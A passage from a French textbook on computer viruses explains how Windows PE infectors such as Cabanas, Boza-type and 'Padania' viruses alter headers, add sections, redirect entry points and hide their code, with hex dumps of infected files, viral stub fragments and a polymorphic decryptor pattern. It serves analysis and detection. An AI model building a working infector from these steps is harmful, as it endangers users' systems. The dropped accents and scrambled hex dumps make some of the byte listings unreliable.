W95/Anxiety.1596 : Les fichiers EXE (PE) infects voient leur taille augmenter de 1596 octets. Le point dentre est modifi pour se rediriger sur le code viral. Comme nous le verrons plus loin, dautres paramtres situs dans les zones de lentte sont aussi modifis pour conserver une intgrit de structure.
W32/Chiton.A : Ce virus datant de 2002 se positionne dans une zone quil samnage lintrieur du fichier quil infecte. Une partie du fichier sain se retrouve dcale vers la fin du fichier. Comme dans le cas prcdent, le point dentre est modifi.
162
One_Half : Ce virus fait parti des virus les plus vicieux de la famille. Le code viral se positionne larrire ; mais, pour latteindre, il faut suivre toute une srie dinstructions et de sauts que le virus dissmine une dizaine dendroits distincts. De tailles variables et totalement polymorphes, ces fractions de code rendent la dtection et lradication difficiles : il faudra les suivre pour esprer dcrypter le virus, puis, chaque fois, restaurer le code original que le virus a dplac.
163
Pour le virus, la mthode la plus simple consiste rechercher dans les chiers quil rencontre des espaces sufsamment grands pour permettre laccueil de lensemble du code viral. On parle alors dinfection par cavit simple. Aujourdhui la structure des chiers 32 bits a permis un dveloppement de cette technique. De nombreuses zones contiennent des espaces libres de code. Avec le virus W32/Caw (anne 2000), lensemble du code est positionn en n de chier lorsquil rencontre un espace sufsant pouvant laccueillir.
164
Dautres virus dissminent leur code en crasant des zones utilises. Les donnes qui vont ainsi recouvrir sont pralablement sauvegardes selon un mode par ajout.
5.1.5 Dlocaliss
Certains virus programmes placent leur code dans des secteurs inutiliss du disque. Dans ce cas, ils changent les paramtres des rpertoires pour re-diriger le lancement du programme vers le code viral. Celui ci rend ensuite la main au programme initial. Sans la moindre modification interne, lensemble des fichiers infects possde ensuite la mme adresse (cluster) de dpart. Ces virus sont peu nombreux mais peuvent savrer dangereux pour lintgrit des supports quils infectent. En effet, les utilitaires testant lintgrit dun disque dcouvriront des anomalies (chiers croiss) et se proposeront de les corriger en entranant des destructions irrmdiables.
5.1.6 Compagnons
Certains virus programmes placent leur code dans un fichier spar qui, malgr une extension diffrente, porte le mme nom que le fichier cible. Il sagit des virus compagnons. Il existe une prsance dexcution pour les chiers excutables : les BAT puis les COM puis les EXE. Le virus compagnon va donc crer de toute pice un chier du mme nom que le programme quil cible. Il lui attribuera une extension diffrente et plus prioritaire. Si, lors de son appel excution, le nom seul est utilis (ce qui est gnralement le cas), ce sera le code viral qui sexcutera en premier. Il donnera ensuite la main au programme original pour ne pas risquer dalerter lutilisateur. Pour durcir son ventuelle dtection, certains virus placent leur code dans un autre rpertoire, prioritaire au sein de la variable systme path.
165
166
Dans cet univers particulier, le lecteur ne devra pas hsiter utiliser la calculatrice quil a sa disposition sur son ordinateur. Via le menu afchage, celle ci devra tre congure en mode scientique.
167
En-tte MS-DOS
Afin de rester compatible avec les anciens programmes sappuyant sur le DOS, il commence lui-mme par une structure compatible qui sen rapproche avec les fameux caractres MZ.
00000000: 00000010: 00000020: 00000030: 4D B8 00 00 5A 00 00 00 90 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 00 00 80 FF 00 00 00 00 00 00 00 00 00 00 00 MZ
[MZ + 3Ch]
Signature et en-tte PE
00000080: 50 45 00 00 (PE Signature) 4C 01 05 00 91 99 A0 34 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 PE
Les quatres premiers octets concernent la signature, ils dnissent le type du chier. Microsoft en donne la dnition suivante :
0x454E 0x454C 0x00004550 // // // NE LE PE00 IMAGE_OS2_SIGNATURE IMAGE_OS2_SIGNATURE_LE IMAGE_NT_SIGNATURE
168
Labrviation NE (New Executable) sapplique aux chiers Windows 3.x, labrviation LE lenvironnement OS/2 et quelques VxD (Virtual Device Driver). Les chiers qui nous intressent ici sont ceux dont la signature est PE (Portable Executable). Ce sont les chiers que nous rencontrons dans les environnements Windows actuels. Citons parmi eux, ceux dont lextension est : exe, dll, ocx, scr. Aprs les 4h premiers octets de la signature se trouve lentte PE. Sa taille est de 14h octets. Loffset repris dans la liste ci-dessous, puis dans les suivantes, est calcul depuis la signature PE. Dans notre exemple, il se situe ladresse absolue 80h.
Tableau 5.2 Quelques informations dans len-tte PE OFFSET [PE] [PE + 06h] TAILLE (octet) 4 2 Signature Nombre dentres dans la table des objets Il sagit du nombre de sections. Cod sur 2 octets, il est, dans notre exemple, gal 0005h. Date et heure de cration Dans notre exemple 34A09991h correspond au 24/12/1997 06 :11 :45 PE Optional Header Taille de lEntte PE Optionnelle Dans notre exemple, sa valeur est 00E0h. DSIGNATION
[PE + 08h]
[PE + 14h]
En-tte optionnelle
Optionnelle de par son intitul, cette zone de donne est indispensable au bon fonctionnement du fichier. Elle nest donc absolument pas facultative. Elle dbute toujours par les octets : 010Bh et contient de nombreuses informations stratgiques.
00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170: 00 00 04 00 00 00 00 00 00 00 00 00 00 00 60 40 00 D0 00 00 B0 00 C0 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 28 00 20 00 00 00 00 00 00 00 00 04 10 00 00 00 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0B B0 00 04 00 00 00 00 00 00 00 00 A8 00 01 11 10 00 00 00 00 00 00 00 00 00 B0 00 03 00 00 00 00 10 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 80 00 2E 10 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
169
Dans le tableau suivant, comme tout au long de ce chapitre, nous allons frquemment rfrencer des donnes relativement lAdresse de Base de lImage (en anglais, Image Base). Pour ce faire, nous utiliserons le sigle RVA (Relative Virtual Address). Cette RVA est une valeur qui, additionne ladresse physique, donne ladresse relle telle que lon peut la lire grce un dbuggeur ou un dsassembleur. Dans notre exemple, le chier est charg ladresse 0x00400000h et son point dentre est 0x11B0h. Lexcution dmarre donc RVA + 0x11B0h. En mmoire, ladresse du point dentre de lexcutable sera en 0x004011B0h. Si lexcutable tait charg en 0x01000000h (cest le cas pour de nombreuses versions de la calculatrice (CALC.EXE), le point dentre se situerait en 0x010011B0h.
Tableau 5.3 Quelques informations dans len-tte optionnelle OFFSET [PE + 28h] TAILLE (octet) 4 DSIGNATION EntryPoint RVA Offset du Point dEntre relatif lAdresse de Base de lImage Dans notre exemple : 0x11B0h. Ce champ pointe sur la premire instruction du programme. Celle ci se trouve gnralement dans la section .text. La plupart des virus modifient cette valeur afin de rediriger lexcution vers leur propre code. Elle cible alors souvent la dernire section. Image Base Adresse de Base de lImage Adresse laquelle est charge limage en mmoire Aprs compilation, cette information prend souvent la valeur 0x00400000h (cest le cas de notre exemple). Cest ladresse virtuelle du premier octet de limage du fichier tel quil a t charg en mmoire par le systme dexploitation (on y trouve le fameux MZ). Limage base est utilise par le systme dexploitation avec les adresses RVA pour former ladresse finale en mmoire. Object Align Alignement de lObjet Taille minimale quun objet (une section) peut occuper en mmoire. Cette valeur est couramment affiche 4096 octets, soit 1000h. File Align Alignement du Fichier Taille minimale affecte une zone de donnes avant son chargement en mmoire (frquemment 0200h). Pour que le systme dexploitation (le loader) accepte de charger un fichier, ces adresses doivent tre alignes sur une taille minimale. Elles doivent tre multiples de cette taille minimale.
[PE + 34h]
[PE + 38h]
[PE + 3Ch]
170
TAILLE (octet) 4
DSIGNATION Image Size Taille du Programme Taille totale que prendra limage dun fichier en mmoire. Elle est calcule en additionnant : la taille virtuelle de chacune des sections (lue dans la zone dentte des sections) arrondie pour devenir un multiple de la taille minimale autorise (champ Object Align), la taille totale des enttes (lue [PE + 50h]) arrondie selon la mme rgle. Header Size Taille de toutes les enttes Elle inclue la Table de Description des Objets (Object Table) et lensemble des sections jusquici dcrites. Export Table RVA Adresse Virtuelle Relative de la Table Export Taille Totale de la Table Export Import Table RVA Adresse Virtuelle Relative de la Table Import Taille Totale de la Table Import Resource Table RVA Adresse Virtuelle Relative de la Table Ressource Taille Totale de la Table Ressource Fixup Table RVA Adresse Virtuelle Relative de la Table Fixup Taille Totale de la Table Fixup Thread Local Storage RVA Adresse virtuelle relative de la zone de gestion des fils dexcution droulement parallle (les threads).
[PE + 54h]
[PE + 78h] [PE + 7Ch] [PE + 80h] [PE + 78h] [PE + 88h] [PE + 78h] [PE + A0h] [PE + 78h] [PE + C0h]
4 4 4 4 4 4 4 4 4
171
Tableau 5.4 Descriptif de quelques sections de type courant INTITUL Executable Code Section Section pour Code Executable NOM(S) .text ou text (compilateur Microsoft) .CODE ou CODE (compilateur Borland) Data Section Section des Donnes .bss .rdata .data Resources Section Section Ressource Export Data Section Section des Donnes Exportes Import Data Section Section des Donnes Importes Debug Information Section Section des Informations Dbuggeur Relocation Section Section pour Relocation .rsrc .edata .pdata .idata (Microsoft) .rdata (Borland) .debug Information de dbuggage Liste des fonctions importes Ressources Informations pour lappel des fonctions exportes Donnes variables (.bss) constantes (rdata) RLE, CONTENANCE Point dentre (EP-RVA) Code du programme
.reloc
Contient la table de relocation uniquement utile sil faut linker des programmes avec des symboles externes.
Chaque section est dcrite sur 28 octets. La taille standard de cette entte est 287h octets. Elle permet de dcrire jusqu 10 sections. Les fichiers en contenant gnralement moins, une partie de lespace est gnralement inoccupe et vide (00h).
00000170: 00000180: 00000190: 000001A0: 000001B0: 000001C0: 000001C0: 000001D0: 000001E0: 000001F0: 00000200: 00000210: 00000210: 00000220: 00000230: 60 00 2E 00 00 C4 00 2E 00 00 2D 00 72 04 00 52 00 69 04 00 00 00 64 00 00 00 00 64 00 00 00 00 61 00 00 00 00 61 00 00 00 00 74 00 40 00 00 74 00 40 10 00 61 32 00 50 00 61 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 C0 2E 00 00 87 00 2E 00 00 52 00 74 2E 00 03 00 64 42 00 03 00 65 00 00 00 00 61 00 00 00 00 78 00 00 00 00 74 00 00 00 00 74 00 20 00 00 61 00 40 00 00 00 04 00 40 00 00 36 00 B0 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 C0 00 00 .text .rdata .data .idata .reloc
FE 03 00 00 00 C0 00 00 00 00 00 00 00 00 00 00
2E 72 65 6C 6F 63 00 00 00 04 00 00 00 7C 00 00 00 00 00 00 40 00 00 42
172
Tableau 5.5 Informations lies au descriptif des sections OFFSET [00h] [08h] [0Ch] [10h] TAILLE (octets) 8 4 4 4 DSIGNATION Nom de la section Le premier caractre est souvent un point (2Eh]. Taille Virtuelle de la section Adresse Virtuelle Offset relatif ladresse de base de limage. Taille Physique Elle doit tre plus petite que la Taille Virtuelle et multiple de la valeur dalignement du fichier [PE + 3Ch]. Adresse Physique Offset relatif au dbut du fichier. Caractristiques Code sur 4 octets, ce champ en prcise les attributs (voir tableau suivant). Tableau 5.6 Caractristiques dune section Caractristiques dune section Valeur 0x10h 0x20h 0x40h 0x60h 0x80h 0xC0h 0xE0h 0x01h 0x02h 0x04h 0x08h 0x20h 0x40h 0x80h La section peut tre supprime La section ne peut tre mise en cache La section nest pas paginable Code Excutable Constantes (Initialized data) Variables (Un-initialized data) Autorisation pour la section Partage Excution Lecture Lecture + Excution criture Lecture + criture Lecture + Excution + criture Relocations tendues Contenance
[14h] [24h]
4 4
173
Les caractristiques dune section se dclinent par une simple addition. Il est possible de prciser pour lexemple ci-dessus :
Tableau 5.7 Exemple de caractristiques de sections courantes Nom de la section .text Caractristique 0x20000000h + 0x40000000h + 0x00000020h -----------------= 0x60000020h 0x40000000h + 0x00000040h -----------------= 0x40000040h 0x40000000h + 0x80000000h + 0x00000040h -----------------= 0xC0000040h 0x40000000h + 0x80000000h + 0x00000040h -----------------= 0xC0000040h 0x40000000h +0x02000000h + 0x00000040h -----------------= 0x42000040h Remarques Lecture et excution autorise. La section contient du code excutable.
.rdata
.data
.idata
.reloc
Lecture seule autorise. La section contient des constantes mais nest pas indispensable au bon fonctionnement de lexcutable.
174
Le travail dbute par la recherche de loffset li lentte des sections. Il est gal : [PE] (offset de la signature PE) 04h (taille de la signature) 14h (taille de lentte PE) Taille de lentte optionnelle lue [PE + 14h]
Dans notre exemple : 80h + 04h + 14h + E0h = 178h). Une nouvelle entre de section est ajoute en n de zone de description des sections. Il faut pour cela connatre la taille actuelle de la zone selon la rgle : Nombre dentres lu [PE +6h] : 28h (taille dune description). Dans notre exemple : 5 * 28h = C8h La nouvelle section sera dcrite loffset : 178h + C8h =240h An den constituer la structure, le virus utilise, entre autre, les informations de lactuelle dernire section. Dans notre exemple, il sagit de .reloc :
00000210: 2E 72 65 6C 6F 00000220: FE 03 00 00 00 C0 00 00 00 04 00 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 Taille Virtuelle (.reloc) = 03FEh (offset RVA(.reloc) = C000h (offset Taille Physique (.reloc) = 0400h (offset Adresse Physique (.reloc) = 7C00h (offset Caractristiques (.reloc) = 42000040h (offset 63 00 00 7C 00 00 00 00 42 08h) 0Ch) 10h) 14h) 24h) .reloc
175
Dans lentte PE, le nombre dentres dans la table des objets est incrment de 1 :
00000080: 50 45 00 00 4C 01 06 00 91 99 A0 34 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 PE
Dans lentte optionnelle : loffset du point dentre [PE + 28h] est remplac par ladresse virtuelle relative de la nouvelle section, la taille du programme (Image Size) [PE + 50h] est actualise (+ 1000h), la valeur F00Dh est crite dans une zone rserve. Le virus lutilisera comme marqueur dinfection.
00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170: 00 00 04 00 00 00 00 00 00 00 00 00 00 00 60 40 00 F0 00 00 B0 00 C0 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 28 00 20 00 00 00 00 00 00 00 00 04 10 00 00 00 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0B 00 00 04 00 00 00 00 00 00 00 00 A8 00 01 D0 10 00 00 00 00 00 00 00 00 00 B0 00 03 00 00 00 00 10 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0D 03 00 00 00 00 00 00 00 80 00 2E 10 02 F0 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Notons que la taille de lentte des sections nest pas modie par cet ajout. Le nombre limit de sections au sein dun chier fait que cette zone contient gnralement de lespace libre. La prsence du virus ninduit donc aucun dcalage dans les enttes. Seul du code complmentaire est ajout en n de chier.
Dunod La photocopie non autorise est un dlit
Pour sinltrer dans la section, le virus opre les modications suivantes dans lentte des sections :
176
Taille Virtuelle = Taille Virtuelle originale + 1000h Taille Virtuelle = 3FEh + 1000h Taille Virtuelle = 13FEh RVA = RVA (inchange) Taille Phys. = Taille Virtuelle originale + Taille du Virus Taille Phys. = 3FEh + 800h Taille Phys. = BFEh Adresse Phys. = Adresse Phys. (inchange) Caractristiques = Contenance de Constantes + Excution + Lecture + Ecriture Caractristiques = 0x00000040h + 0x20000000h + 0x40000000h + 0x80000000h Caractristiques = 0xE0000040h
Le dernier octet du nom de section est mis FFh. Il sagit du marqueur dinfection. La nouvelle taille physique est augmente de 7FEh (2046 octets). Il sagit de lexacte diffrence de taille entre un chier sain et un chier infect. La taille du virus est 800h (2048 octets). Il y a donc une diffrence de 2 octets. Cela sexplique par le fait que ce virus sinstalle en n de section et non pas en n de chier. Les 2 derniers octets du chier sain sont donc dnitivement perdus ce qui na souvent aucune importance. Cette zone est cependant utilise par certaines applications. Pour quelques compacteurs (exemple WINRAR SFX), elle contient les donnes compresses par loutil. En cas dattaque virale, elles sont dnitivement crases et le chier est irrcuprable. Il ny a pas de changement dans lentte PE. Dans lentte optionnelle, la taille virtuelle originale de la section (avant infection) est ajoute la taille du programme (Image Size) [PE + 50h] :
Taille Programme = prev. Taille Programme + Taille Virtuelle originale of last section Taille Phys. = D000h + 3FEh Taille Phys. = D3FEh
Loffset du point dentre [PE + 28h] est modi pour atteindre le dbut du code viral (juste aprs la n de la dernire section dorigine). Le virus prend soin de soustraire 1000h octets car la valeur de lalignement de la section est infrieure la taille du virus.
00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00 00 04 FE 00 00 00 60 40 00 D3 00 00 B0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 28 00 00 00 04 10 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 0B FE 00 04 00 00 00 00 01 C3 10 00 00 00 00 00 03 00 00 00 00 10 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 2E 10 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
177
00 00 00 00 00 00 00
00 C0 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 20 00 00 00 00 00
00 03 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 A8 00
00 00 00 00 B0 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 80 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
Tout comme pour les anciens programmes MS-DOS, le virus se doit de sauvegarder les donnes relatives au point dentre original du programme. Sans cela il lui serait impossible de lui passer la main aprs excution du code viral. Dans le cas prsent lEP-RVA dorigine est visible [EP-RVA viral + ACh].
00007FF0: 00008000: 00008010: 00008020: 00008030: 00008040: 00008050: 00008060: 00008070: 00008080: 00008090: 000080A0: A3 B9 00 C9 D4 20 20 00 BD BD A4 00 FF 81 74 2B 75 40 89 B6 2C 8C 00 FF FF 6E FB 4E 00 43 20 21 8D 66 FF 00 90 B8 90 8B 3C 40 40 B2 2B FF C0 90 7F 90 00 8D 00 00 20 C9 F2 00 90 15 90 89 B5 81 81 40 BF AE C0 90 00 90 85 02 AD AD 00 00 8B 73 2B C0 8B D2 20 B6 2C EB 10 D9 78 D9 8B 5B 20 40 20 21 00 00 0B 90 81 18 30 40 00 40 40 EA C0 C9 90 FB 81 8D 00 B9 00 00 B0 B8 0F 90 3F 7B 43 8D 3F 02 02 11 FF 84 90 07 0C 3C 87 06 20 20 40 00 80 F3 00 56 89 B2 00 40 40 00 BDFC 00 00 00 00 AE 0B 00 72 4D 4D 85 C1 00 00 00 89 00 89 00 F3 37 01
Ajout de code en fin de dernire section et redirection depuis le point dentre (inchang)
Cette technique se retrouve dans le virus W32/Cabanas.A. La section .reloc de notre chier appt nous est maintenant familire :
00000210: 2E 72 65 6C 6F 63 00 00 .reloc 00000220: FE 03 00 00 00 C0 00 00 00 04 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 Taille Virtuelle (.reloc) = 03FEh (offset 08h) RVA(.reloc) = C000h (offset 0Ch) Physical Size (.reloc = 0400h (offset 10h) Physical Offset (.reloc) = 7C00h (offset 14h) Caractristiques (.reloc) = 42000040h (offset 24h) Le virus effectue les modifications suivantes : Taille Virtuelle = Taille Virtuelle originale + 1300h + 00xxh (afin dobtenir DB) Taille Virtuelle = 3FEh + 1300h + 00DDh Taille Virtuelle = 17DBh RVA = RVA (inchange) Taille Phys. = Taille Phys. originale + Taille du Virus Taille Phys. = 400h + C00h Taille Phys. = 1000h Adresse Phys. = Adresse Phys. (inchange) Caractristiques = Prev. Caractristiques + Ecriture Caractristiques = 0x42000040h + 0x80000000h Caractristiques = 0xC2000040h
178
Dans lentte PE le champ Date et Heure de Cration est modi. La nouvelle valeur est issue dun calcul de checksum que le virus utilise comme marqueur dinfection.
00000080: 50 45 00 00 4C 01 05 00 A3 A6 FD 2E 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 PE
Dans lentte optionnelle, la taille du programme (Image Size) [PE + 50h] est actualise (+1000h). Le point dentre [PE + 28h] est inchang :
00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170: 00 00 04 00 00 00 00 00 00 00 00 00 00 00 60 40 00 E0 00 00 B0 00 C0 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 28 00 20 00 00 00 00 00 00 00 00 04 10 00 00 00 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0B B0 00 04 00 00 00 00 00 00 00 00 A8 00 01 11 10 00 00 00 00 00 00 00 00 00 B0 00 03 00 00 00 00 10 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 80 00 2E 10 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Les cinq premiers octets du point dentre l ou se situait pralablement la n du chier sont remplacs par un saut (FAR JMP) vers le dbut du code viral :
000005B0: 64 A1 00 00 00 00 55 8B EC 6A FF 68 00 40 40 00 (fichier original) 000005B0: E9 4B B2 00 00 00 55 8B EC 6A FF 68 00 40 40 00 (fichier infect)
Ces 5 octets sont ncessaires au virus, il doit les restituer lorsquil redonne la main au programme. Ceux ci sont stocks, aprs avoir t crypt, non loin du point dentre viral :
00008000: E8 AE 01 00 00 0D EB 02 4D 05 00 49 70 6A 6A 6A
Tableau 5.8 Grille de dcryptage du virus Cabanas Valeur stocke AL 100 102 104 106 MOV CL,5 XOR AL,6A ROL AL,CL LOOP 102 B1 49 5 23 64 B2 70 4 1A A1 B3 6A 3 00 00 B4 6A 2 00 00 B5 6A 1 00 00
179
Notons pour nir quaprs infection, la taille du chier est de 35 865 octets ; cest un multiple de 101 (35865 = 101 * 355), cette indication nous prcise que le virus a t crit par un membre du groupe 29A.
....b0z0
Le virus a cras (avec 00h) ladresse virtuelle relative et la taille de la table Fixup.
00000120: 00 00 00 00 00 00 00 00 -
Dans lentte des sections, la dernire dentre elle a disparue. La section .reloc est remplace par une entre dnomme Padania. Lanalyse dautres chiers infects nous montre quen labsence de section nomme .reloc le virus agit comme laurait fait W95/Boza.D : il rajoute une section et incrmente de 1 leur nombre [PE + 06h].
00000210: 50 61 64 61 6E 69 61 20 00000220: 37 05 00 00 00 00 C0 BF 37 05 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 Padania
Deux cas se prsentent nous. Pour le premier, un court programme est crit en continuit du descriptif de la nouvelle section.
00000268 00000278: 00000288: 00000298: 9C 50 50 FF 80 44 68 E0 3D 4E 00 50 3B 27 00 44 05 75 00 4E 00 12 C0 27 C0 60 C3 39 00 E8 61 38 75 1E 81 3D 2B 05 00 C0 00 00 00 00 58 83 C0 0B 9D EB 00 B8 B0 11 40 00 E9 PDN
Le virus peut ensuite agir de deux manires distinctes : Il modifie ladresse du point dentre. On se retrouve alors dans le cas du virus W95/Anxiety.1596 ; ladresse originale du point dentre est stocke dans la zone rcemment cre (ci-dessus en gras). Il laisse inchang ladresse du point dentre mais redirige rapidement le programme vers la nouvelle zone rcemment cre.
180
Dans ce second cas, le virus ncrase pas directement les premiers octets du programme sain. Il recherche une zone particulire pour y positionner son saut. Selon les cas, 5 ou 6 octets sont crass aprs avoir t pralablement sauvegard.
00000240: 00000250: 00000260: 00000270: 000005B0: 000005C0: 000005B0: 000005C0: 9C 50 50 FF 64 68 64 E9 80 44 68 E0 A1 10 A1 7B 3D 4E 00 90 00 2C 00 F0 3B 27 00 68 00 40 00 FF 05 75 00 10 00 00 00 FF 00 12 C0 2C 00 50 00 50 C0 60 C3 40 55 64 55 64 00 E8 61 00 8B 89 8B 89 75 00 9D E9 EC 25 EC 25 1E 00 EB 48 6A 00 6A 00 81 3D 2B 05 00 C0 00 00 58 83 C0 0B 07 B8 06 10 40 00 0F FF 00 FF 00 68 00 68 00 00 00 00 00 40 83 40 83 40 EC 40 EC PDN
.reloc
Dans lentte optionnelle, la taille du programme (Image Size) [PE + 50h] est modie. Ladresse du point dentre [PE + 28h] est inchange.
00000090: 0B 01 03 0A 00 2E 00 00 000000A0: 00 60 00 00 00 00 00 00 B0 11 00 00 00 10 00 00
181
000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170:
00 04 00 00 00 00 00 00 00 00 00 00 00
40 00 00 00 00 B0 00 C0 00 00 00 00 00
00 00 01 10 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 10 28 00 20 00 00 00 00 00
00 00 04 10 00 00 00 03 00 00 00 00 00
40 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 04 00 00 00 00 00 00 00 00 A8 00
10 00 00 00 00 00 00 00 00 00 B0 00
00 00 00 10 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 03 00 00 00 00 00 00 00 80 00
02 00 00 10 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
Au point dentre dorigine, les 5 premiers octets sont remplacs par un saut (FAR JMP) vers la n du code viral :
000005B0: 64 A1 00 00 00 00 55 8B EC 6A FF 68 00 40 40 00 000005B0: E9 EC C8 00 00 00 55 8B EC 6A FF 68 00 40 40 00 (jmp 0000CEA1) (original file) (infected file)
Cette adresse correspond au dbut du moteur de dcryptage polymorphique. De nombreux sauts et de nombreuses instructions sans intrt (en anglais, garbage) sont insres parmi les quelques instructions utiles. Le code se rsume :
xxxx:96A1 decrypt: garbage mov <reg_01>, V1 garbage fonction de dcryptage (+ garbage) garbage inc ou dec garbage cmp <reg_02>, V2 81 ? ? ? ? ? jne decrypt: 0F 85 ? FF FF FF garbage jmp code dcrypt
La fonction de dcryptage est ralise par un SUB ou un XOR. Les registres utiliss sont variables. titre dexemple, linstruction CMP est mme de prendre les valeurs suivantes :
81 81 81 81 F8 FA FC FE ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (reg_02 (reg_02 (reg_02 (reg_02 = = = = eax) edx) esp) esi) 81 81 81 81 F9 FB FD FF ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (reg_02 (reg_02 (reg_02 (reg_02 = = = = ecx) ebx) ebp) edi)
Les opcodes, lments dterminant dune instruction qui la dnisse et la diffrencie sans ambigut, correspondent la loi :
opcode AND F8FFh = F881h
Au travers des 2 exemples ci-dessous, il est possible de reprer les instructions utiles (en gras) perdues au milieu du code superu.
182
Exemple N1
0096DF 0096EF 0096FF 00970F 00971F 00972F 00973F 00974F 00975F 00976F 00977F 00978F 00979F 0097AF 0097BF 0097CF 0097DF 0097EF 13 43 8B D0 07 DF A3 9B FF A3 33 FC FA E9 E9 52 F3 00 4D F9 DA D6 2C 99 C1 B1 8C C9 C1 F9 D9 81 3C A7 00 00 56 FA E9 56 2B 61 8B C7 2F 42 2B 75 E8 F9 E8 B5 00 00 AC 4A 14 A9 53 1D 82 0A 92 42 89 67 F3 07 FF 3D 00 00 69 0F 00 AF 21 E9 B8 30 3A A9 E9 1C 70 6F FF 9E 00 00 41 BF 00 5A BC 1C F3 0F 05 3F 1C 47 81 85 D1 41 00 00 DD DB 00 16 43 00 A7 BF E3 1A 00 C2 EF A1 06 D0 00 00 32 B9 E7 CF D5 00 2E EE 80 3F 00 DA 04 0F C9 FF 00 00 4F 5F A4 1A 13 00 7E BD EE 67 00 6E 00 85 7B EA 00 00 4B 69 80 EA 10 69 A9 FD C3 46 71 E1 00 5E E3 73 00 00 2C 85 D9 D3 B8 85 AF FF 41 2B CB 6D 00 FF DF 5A 00 00 3F A1 01 E9 D6 94 04 FF E9 34 51 D2 0F FF AC CF 00 00 91 0F DB 14 F9 F5 48 FF 14 41 AF DB BF FF A6 A0 00 00 88 BF 8F 00 4C A7 0F 66 00 4C 03 33 DF 0F E9 A9 00 00 96 DE FF 00 B3 18 BF 8B 00 80 8F B8 66 BF C4 1C 00 00 71 66 93 00 B7 D8 51 F7 00 12 C5 85 8B EF 09 F4 00 00
Exemple N2
